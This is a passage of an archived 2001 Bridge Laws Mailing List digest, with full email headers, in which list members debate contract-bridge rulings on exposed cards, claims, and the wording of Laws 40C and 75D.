+1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14Kqdi-000LK0-0Y for bridge-laws@rgb.anu.edu.au; Mon, 22 Jan 2001 23:44:47 +0000 Message-ID: Date: Mon, 22 Jan 2001 14:48:47 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Exposed Card before auction begins (?) References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article , Ed Reppert writes >Here's another one. Today, I pulled my hand out of the board, and >while counting the cards, I dropped one. It fell face up on the >table. It was the Ace of Diamonds. I immediately flipped it over, and >called the director. West (I was North) said "I don't think we need >the director - I didn't see it." My partner says "neither did I", but >East says "I saw it." I said that I thought the criterion was that >partner *might* have seen it, and we should call even if East didn't >see it. > >So the TD comes over. "I don't know," she says, "I'll have to get my >book out of the car. Put these hands back, and go on to the next >board; I'll get back to you." > >She came back with "Duplicate Decisions" (no Law Book), and said, "I >still don't know - it's unclear whether this bit about "before the >auction has started" (I think in Law 13) applies, since you (me, that >is, North) are Dealer and get the first bid. So maybe the auction has >started, and Law 24 applies." She vacillated a moment, and then said >"I'm gonna rule Law 24 applies - major penalty card, and partner must >pass at her first turn to call." > We had a thread on this a while back. If partner has seen her cards then the ruling seems ok, If not, I can't recall, but I might award 60/40. I'd probably offer the oppo of asking me to withdraw the ArtAss if they fancy playing the hand. cheers john >I think the question of whether it's before or after the start of the >auction hinges on whether my partner had seen the face of her cards >at the time I called the TD (I had not) and not on who was dealer. At >this moment I can't say for sure whether she had seen them or not, >but I think not. > >There seemed no damage caused by partner's enforced pass - though >they did stop in a part score when others bid and made game. I can >post the hands and the bidding if anyone cares. > >Comments? > >Regards, > >Ed > >mailto:ereppert@rochester.rr.com >pgp public key available at ldap://certserver.pgp.com or >http://pgpkeys.mit.edu:11371 >pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 11:51:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N0oNB20393 for bridge-laws-outgoing; Tue, 23 Jan 2001 11:50:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iol.ie (mail2.mail.iol.ie [194.125.2.193]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N0oGt20360 for ; Tue, 23 Jan 2001 11:50:16 +1100 (EST) Received: from oemcomputer (dialup-016.sligo.iol.ie [194.125.48.208]) by mail.iol.ie Sendmail (v8.9.3) with SMTP id AAA59796 for ; Tue, 23 Jan 2001 00:50:06 GMT Received: by localhost with Microsoft MAPI; Tue, 23 Jan 2001 00:51:12 -0000 Message-ID: <01C084D6.94C6D3E0.tsvecfob@iol.ie> From: "Fearghal O'Boyle" To: "'bridge-laws@octavia.anu.edu.au'" Subject: [BLML] Law 75D and Law 40C Date: Tue, 23 Jan 2001 00:51:10 -0000 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Is there any significance in the use of the words 'may' and 'shall' in 75C and 40C? 75D footnote (when the mistaken explanation results in damage, the Director shall award an adjusted score). 40C (If the Director decides that a side has been damaged through its opponents' failure to explain the full meaning of a call or play, he may award an adjusted score). Best regards, Fearghal. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 12:45:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N1icY05605 for bridge-laws-outgoing; Tue, 23 Jan 2001 12:44:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ruthenium ([194.73.73.138]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N1iVt05569 for ; Tue, 23 Jan 2001 12:44:31 +1100 (EST) Received: from [62.7.67.82] (helo=pbncomputer) by ruthenium with smtp (Exim 3.03 #83) id 14KsVT-0004LJ-00 for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 01:44:23 +0000 Message-ID: <002601c084de$06bb05a0$5243073e@pbncomputer> From: "David Burn" To: References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 01:43:46 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS wrote: > I know that certain people do not give a damn about the game itself, > but for those of you that do, let me make one more effort. You do not know anything of the sort. As usual, you are taking it upon yourself to be the arbiter of which Laws should be followed to the letter and which Laws should be "interpreted" for the "good of the game". Fortunately, you are not actually in a position to do this, despite various posturings to the contrary. You are, at times, proud of having coined (or rather, adopted from IT jargon), the acronym "RTFLB". Yet in this thread, you have argued in the face of mounting opposition (and in the face of the only possible interpretation of a remarkably simple English sentence) that anyone who reads the Law book and believes what it says is in some way an inferior being who does not care about the game of duplicate bridge. This imputation is, as Grattan has said, entirely repellent; what is more, it is without foundation in reality. If I were the sort of person who is offended by anything much, I would be deeply offended by it. It is precisely because I care very much about the game itself that I want it to have a code of Laws that can be followed by players and administered by officials regardless of ability, or competence in English, or anything else. There are many Laws that fall somewhat short of this high standard. There are also, regrettably, far too many people who persist in the belief that the text of the Laws is no more than a preliminary basis for negotiation, and that rulings should be given on the basis of what we "all know" that a player intended at the time he acted in a particular way. Ultimately, the Laws of bridge mean what the words of which they are composed mean. They do not mean "what Edgar Kaplan or Grattan Endicott had in mind when they wrote the Laws". They do not mean "what David Stevenson wants them to mean in order to run a bridge club in Liverpool successfully". They do not mean "what right-thinking, fair-minded people apart from whom anyone else is a Bridge Lawyer think that they mean". They mean what they say, and when they say that "we will win twelve tricks" is a claim, then a claim is what it is. In an unguarded moment, DWS said somewhere that the parenthesis at the end of the second sentence of Law 68A applied also to the first sentence. This was a blunder. In an effort to pretend that it wasn't, people who believe that the Laws of bridge mean what they say are being informed that they "do not give a damn about the game itself". It would be tragic if it weren't funny. As I have mentioned before, the very existence of the Bridge Laws Mailing List is actually a shocking indictment of the Laws themselves and of the people who make and interpret them. But nothing in my previous experience of BLML has reinforced my opinion as strongly as this particular debate. Suppose that someone who knew nothing about bridge, but understood English, were confronted with this question: The Laws say that a statement to the effect that a player's side will win a certain number of tricks is a claim. A player has just stated that his side will win twelve tricks. Has this player made a claim? and suppose this person learned that apparently, a group of people who have as a special interest the Laws of bridge were unable to reach a consensus on this point. Would he not be justified in concluding that this group of people must consist, at least in part, of lunatics? David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 14:00:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N30Bf02131 for bridge-laws-outgoing; Tue, 23 Jan 2001 14:00:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N303t02092 for ; Tue, 23 Jan 2001 14:00:04 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id SAA25487; Mon, 22 Jan 2001 18:59:57 -0800 Message-Id: <200101230259.SAA25487@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim? In-reply-to: Your message of "Mon, 22 Jan 2001 12:54:59 PST." <200101222054.MAA17289@mailhub.irvine.com> Date: Mon, 22 Jan 2001 18:59:57 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Everyone said: > It's a claim. No it isn't. Yes it is. No it isn't. Yes it > is no it isn't yes it is isn't is isn't YES NO YES NO YES NO ... Well, we can't seem to agree on this. Maybe I can make a point we *can* all agree on. (Dream on, Adam.) In the past, from what I've read, some small towns would set up speed traps to raise money. They'd stick a speed limit sign in a place where no one would be able to see it coming---such as around a curve or obstructed by a tree---and they'd have a policeman right there to ticket people for driving, say, 45 MPH in a 25 zone, since drivers who were legally driving at 50 wouldn't see the 25 sign soon enough to slow down to the new speed limit. Of course, the locals would all know about the speed limit sign, so it's just the folks from out-of-town who would be caught. Obviously, a unjust speed limit like this has no business being in existence. The same applies to the Bridge Laws: a law that most players can't be expected to know, but that Bridge Lawyers can use to gain unearned points from the other players' ignorance, has no business being in Bridge. The fact is, we don't expect players to know all the nuances of the Laws. In most cases, they don't have to. You don't have to have read all the details of Laws 61-64 to know that you're supposed to follow suit; the latter is common knowledge. Similarly, players should know that you're supposed to Alert and explain your partner's bids correctly, and that you're not supposed to take advantage of UI from your partner. Although a few players don't know this, and many other players aren't sure exactly what their responsibilities are, at least they can be expected to know the basic principles, because an effort has been made to make sure people know about them. Those subjects have gotten a lot of ink. But if there's a rule that says "a casual remark can be treated as a claim", where and when has this rule been publicized? I sure haven't seen or heard it mentioned anywhere, up until DWS made his original post. So we can't really expect the average player to know anything about it. This means we have the unacceptable situation I described above, where BL's can take advantage of unsuspecting players who never dreamed they were doing anything wrong. It's certainly important to discuss what the Law means, and how it should be interpreted; but in this case it's not enough. This is an unjust situation that needs to be addressed, either by making sure everyone knows the rule, or by throwing the rule out altogether. (I suspect that if this rule were adequately publicized, DWS would have no reason to argue so vehemently for his interpretation of the rule.) Until the rule either gets publicized or scrapped, an injustice exists, and I have a lot of sympathy for a Director who refuses to enforce the rule for this reason---just as I'd have a lot of sympathy for a judge who refused to fine a motorist who got caught in the kind of speed trap I described. Occasionally there are higher principles that should take precedence over following the Law literally. But not very often. (And certainly not nearly as often as some American judges think, but that's a subject for a whole other mailing list.) -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 15:44:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N4hgI05596 for bridge-laws-outgoing; Tue, 23 Jan 2001 15:43:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N4hYt05552 for ; Tue, 23 Jan 2001 15:43:35 +1100 (EST) Received: from marvin ([24.30.156.154]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Mon, 22 Jan 2001 20:42:52 -0800 Message-ID: <009301c084f7$0131bfc0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] penalties AND UI - too much ? Date: Mon, 22 Jan 2001 20:42:16 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > Steve Willner wrote: > > (Snip) > > > > >12: Information arising from possession of a Penalty Card. > > Information that the player must play the penalty card as the law > > requires is authorised and partner may choose the card to lead > > from the suit on the basis of that knowledge (e.g. may lead small > > from K Q J x when partner's penalty card is the Ace). Information > > based on sight of partner's penalty card is unauthorised so that, > > for example, the player may not choose to lead the suit if the > > suit is suggested by the penalty card and play of a different suit > > is a logical alternative. > > > >I confess that not only can I not reconcile this interpretation with > >the words of the law, I am not sure what it means. It seems to be > >saying that the sight of the penalty card is UI for choosing the suit > >to lead but AI for choosing the card within the suit. I am mystified > >because the choice of card and choice of suit are seldom independent > >and sequential, as this interpretation seems to suggest. > I guess I'm missing the point of all this. Doesn't it just stay that if there is an LA to leading the suit, you don't lead the suit, and if there is no LA can lead any card of the suit? Probably the lawmakers didn't want to make a TD delve into the subtleties of deciding whether the size of the card led was demonstrably suggested by the tabled card. Seems reasonable, what am I missing? Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 15:44:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N4hPb05500 for bridge-laws-outgoing; Tue, 23 Jan 2001 15:43:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N4hIt05460 for ; Tue, 23 Jan 2001 15:43:19 +1100 (EST) Received: from kay (ashsv1-55.cswnet.com [209.136.193.55]) by mail.cswnet.com (Postfix) with SMTP id AAC305D088; Mon, 22 Jan 2001 22:43:12 -0600 (CST) Message-ID: <000f01c084f7$56da27a0$37c188d1@kay> From: "Nelson/Kay Ford" To: , "Adam Beneschan" Cc: References: <200101230259.SAA25487@mailhub.irvine.com> Subject: Re: [BLML] Claim? Date: Mon, 22 Jan 2001 22:45:39 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Adam Beneschan" To: Cc: Sent: Monday, January 22, 2001 8:59 PM Subject: Re: [BLML] Claim? > Obviously, a unjust speed limit like this has no business being in > existence. The same applies to the Bridge Laws: a law that most > players can't be expected to know, but that Bridge Lawyers can use to > gain unearned points from the other players' ignorance, has no > business being in Bridge. Well, let's see. Declarer at 4S, Vul, says: "We're cold for 6, partner." East, a dirty rotten BL, says: "That's a claim, what's your line of play?" Now one of two things happens: 1. Declarer is cold for 6 and states how he will take them, and scores the slam. OR 2. Declarer was blowing smoke and can't make 6, but is able to state a line of play where he makes 5 with normal play, and racks up 650. Just how to you see that the evil BL has damaged the poor, innocent Declarer? Nelson Ford -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 16:14:24 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N5E0a16399 for bridge-laws-outgoing; Tue, 23 Jan 2001 16:14:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N5Dst16365 for ; Tue, 23 Jan 2001 16:13:55 +1100 (EST) Received: from marvin ([24.30.156.154]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Mon, 22 Jan 2001 21:13:11 -0800 Message-ID: <00be01c084fb$3d9c8720$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <002601c084de$06bb05a0$5243073e@pbncomputer> Subject: Re: [BLML] Claim? Date: Mon, 22 Jan 2001 21:10:26 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "David Burn" > DWS wrote: > > > I know that certain people do not give a damn about the game itself, > > but for those of you that do, let me make one more effort. Followed by: "If we follow what you, Marv, are saying,..." So I guess I'll give the needle back. David Burn, you might have quoted DWS's words of 12-17-2000, giving me another lecture: ##### It is never right for people to think they are above the Law. There have been cases of ACs thinking this - there was a case at the last NABC but one where the Committee effectively said they were making a decision despite the Law - but this must be stamped out. This is not a perfect game, and the Laws are not perfect. We can decide interpretations where there is doubt: we can try and change incorrect Laws: we can have arguments and discussions to try to explain the Laws: but at the end, the Laws are paramount, and any TD who does not think so should be dismissed, and any AC member likewise should not be used again - or not until the TD or AC member has been re-trained. ##### Well said. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 16:51:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N5pKw29477 for bridge-laws-outgoing; Tue, 23 Jan 2001 16:51:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sirene.rz.uni-duesseldorf.de (sirene.rz.uni-duesseldorf.de [134.99.128.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N5pDt29444 for ; Tue, 23 Jan 2001 16:51:14 +1100 (EST) Received: from unid.uni-duesseldorf.de (Isis25.urz.uni-duesseldorf.de [134.99.138.25]) by neptun.rz.uni-duesseldorf.de (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0G7L008EVPL48U@neptun.rz.uni-duesseldorf.de> for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 06:51:07 +0100 (MET) Date: Tue, 23 Jan 2001 06:51:03 +0100 From: Richard Bley Subject: Re: [BLML] Claim? In-reply-to: <000f01c084f7$56da27a0$37c188d1@kay> X-Sender: bley@mail.rz.uni-duesseldorf.de To: bridge-laws@rgb.anu.edu.au Cc: adam@irvine.com Message-id: <5.0.2.1.0.20010123064525.00a2b610@mail.rz.uni-duesseldorf.de> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; format=flowed; charset=iso-8859-1 References: <200101230259.SAA25487@mailhub.irvine.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0N5pGt29457 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 22:45 22.01.2001 -0600, Nelson/Kay Ford wrote: >----- Original Message ----- >From: "Adam Beneschan" >To: >Cc: >Sent: Monday, January 22, 2001 8:59 PM >Subject: Re: [BLML] Claim? > > > > Obviously, a unjust speed limit like this has no >business being in > > existence. The same applies to the Bridge Laws: a >law that most > > players can't be expected to know, but that Bridge >Lawyers can use to > > gain unearned points from the other players' >ignorance, has no > > business being in Bridge. > > >Well, let's see. Declarer at 4S, Vul, says: "We're cold >for 6, partner." > >East, a dirty rotten BL, says: "That's a claim, what's >your line of play?" The tricky point here is, that the player has to state his line of play during the claim ("accompanied"). TO ask hot to play would be fine, but what folllows is not part of the claim anymore. >Now one of two things happens: >1. Declarer is cold for 6 and states how he will take >them, > and scores the slam. >OR >2. Declarer was blowing smoke and can't make 6, but is > able to state a line of play where he makes 5 with >normal > play, and racks up 650. > >Just how to you see that the evil BL has damaged the >poor, >innocent Declarer? He is damged than by the fact, that he gets AT MOST 650. Take alone 70C (trumps not drawn). In fact I don´t want to take the mess here, ih I think about it... Or is in this case 70C not available? Maybe anyone who claims in the first trick is aware, that there are trumps outside? Richard -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 17:04:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N64Vm04123 for bridge-laws-outgoing; Tue, 23 Jan 2001 17:04:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N64Ot04088 for ; Tue, 23 Jan 2001 17:04:25 +1100 (EST) Received: from marvin ([24.30.156.154]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Mon, 22 Jan 2001 22:03:42 -0800 Message-ID: <00c501c08502$4c5d8500$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <01C084D6.94C6D3E0.tsvecfob@iol.ie> Subject: Re: [BLML] Law 75D and Law 40C Date: Mon, 22 Jan 2001 21:59:18 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Fearghal O'Boyle" (aka "Eagle Eye") > > Is there any significance in the use of the words 'may' and 'shall' in 75C > and 40C? > > 75D footnote (when the mistaken explanation results in damage, the Director > shall award an adjusted score). Addressing a particular situation described in the footnote, but the words would seem to have general application. > > 40C (If the Director decides that a side has been damaged through its > opponents' failure to explain the full meaning of a call or play, he may > award an adjusted score). > Looks to me like 40C has the wrong word. L73F1/F2 uses "shall" when damage results from a violation of the Proprieties, which reinforces this opinion. Even if the NOS annuls its redress by some irrational action, the OS always gets a score adjustment when there is damage, doesn't it? Don't see why MI should be an exception. L12 keeps saying "the Director may...," "may...," "may..." in regard to possible score adjustments. Perhaps the writer of L40C just got in the habit of using that word. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 19:15:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N8EJc28627 for bridge-laws-outgoing; Tue, 23 Jan 2001 19:14:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N8EDt28586 for ; Tue, 23 Jan 2001 19:14:13 +1100 (EST) Received: from marvin ([24.30.156.154]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Tue, 23 Jan 2001 00:13:31 -0800 Message-ID: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws" References: Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Tue, 23 Jan 2001 00:13:53 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Ed Reppert" > Here's another one. Today, I pulled my hand out of the board, and > while counting the cards, I dropped one. It fell face up on the > table. It was the Ace of Diamonds. I immediately flipped it over, and > called the director. West (I was North) said "I don't think we need > the director - I didn't see it." My partner says "neither did I", but > East says "I saw it." I said that I thought the criterion was that > partner *might* have seen it, and we should call even if East didn't > see it. If the auction has not begun, L16B (pertaining to UI) applies. I think L16B and L24 assume the auction hasn't begun until it has begun for both sides (see L17). If that isn't so, this subject could get very complicated. If the auction has begun (for both sides), East saw the card, and it was not in a "position for the face to be seen by your partner," there is evidently no TD action required. Opponents' cards "inadvertently" seen after the auction begins are not UI, although I have never understood why. If the auction has begun and the card dropped was in a "position for the face to be seen" by your partner, then L24/L24B applies. It seems to me that "face up on the table" puts the card in such a position. It doesn't matter whether she actually saw it or not. > > So the TD comes over. "I don't know," she says, "I'll have to get my > book out of the car. Put these hands back, and go on to the next > board; I'll get back to you." > > She came back with "Duplicate Decisions" (no Law Book), and said, "I > still don't know - it's unclear whether this bit about "before the > auction has started" (I think in Law 13) applies, since you (me, that > is, North) are Dealer and get the first bid. So maybe the auction has > started, and Law 24 applies." She vacillated a moment, and then said > "I'm gonna rule Law 24 applies - major penalty card, and partner must > pass at her first turn to call." Strictly speaking, Law 24 doesn't say it's a major penalty card, only that it must be left face up on the table until the auction closes and your partner must pass at next turn to call. It only becomes a major penalty card during play if an opponent becomes declarer and chooses to treat it as one. Otherwise it is picked up and is not (and has never been) a penalty card. At one time ACBL directors were told that they must declare this card to be a major penalty card during play, but the ACBLLC affirmed last summer that this decision is up to declarer, not the TD. > > I think the question of whether it's before or after the start of the > auction hinges on whether my partner had seen the face of her cards > at the time I called the TD (I had not) and not on who was dealer. No, it hinges on whether anyone at the table has looked at their cards. > At this moment I can't say for sure whether she had seen them or not, > but I think not. It's for the TD to determine whether *anyone* has looked at the face of their cards. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 23 20:05:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0N952V16757 for bridge-laws-outgoing; Tue, 23 Jan 2001 20:05:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mta05-svc.ntlworld.com (mta05-svc.ntlworld.com [62.253.162.45]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0N94st16720 for ; Tue, 23 Jan 2001 20:04:55 +1100 (EST) Received: from m601-mp1-cvx1a.lan.ntl.com ([62.252.166.89]) by mta05-svc.ntlworld.com (InterMail vM.4.01.02.27 201-229-119-110) with SMTP id <20010123090449.XMLK18404.mta05-svc.ntlworld.com@m601-mp1-cvx1a.lan.ntl.com> for ; Tue, 23 Jan 2001 09:04:49 +0000 From: pam To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 09:05:42 +0000 Message-ID: References: <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> In-Reply-To: <200101230259.SAA25487@mailhub.irvine.com> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0N94vt16733 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Mon, 22 Jan 2001 18:59:57 -0800, Adam wrote: > >Everyone said: > >> It's a claim. No it isn't. Yes it is. No it isn't. Yes it >> is no it isn't yes it is isn't is isn't YES NO YES NO YES NO ... > >Well, we can't seem to agree on this. Maybe I can make a point we >*can* all agree on. (Dream on, Adam.) ..snip.. > >The fact is, we don't expect players to know all the nuances of the >Laws. I expect players to know what the laws say or accept the consequences of not knowing - if they break them through ignorance then that is tough, next time they will know. If the laws have nuances that are not obvious then the laws must be cleared up so they they are clear. > In most cases, they don't have to. So what! It isn't necessary to know the rules of Golf to hit a few balls at a driving range but were I ever to take up the game and play in the local club competition then I would make sure I knew them and if I didn't, and broke them, I would accept penalty shots I might incur. Am I really so strange in thinking that the rules of a game or sport should be followed to the letter? ..snip.. > >But if there's a rule that says "a casual remark can be 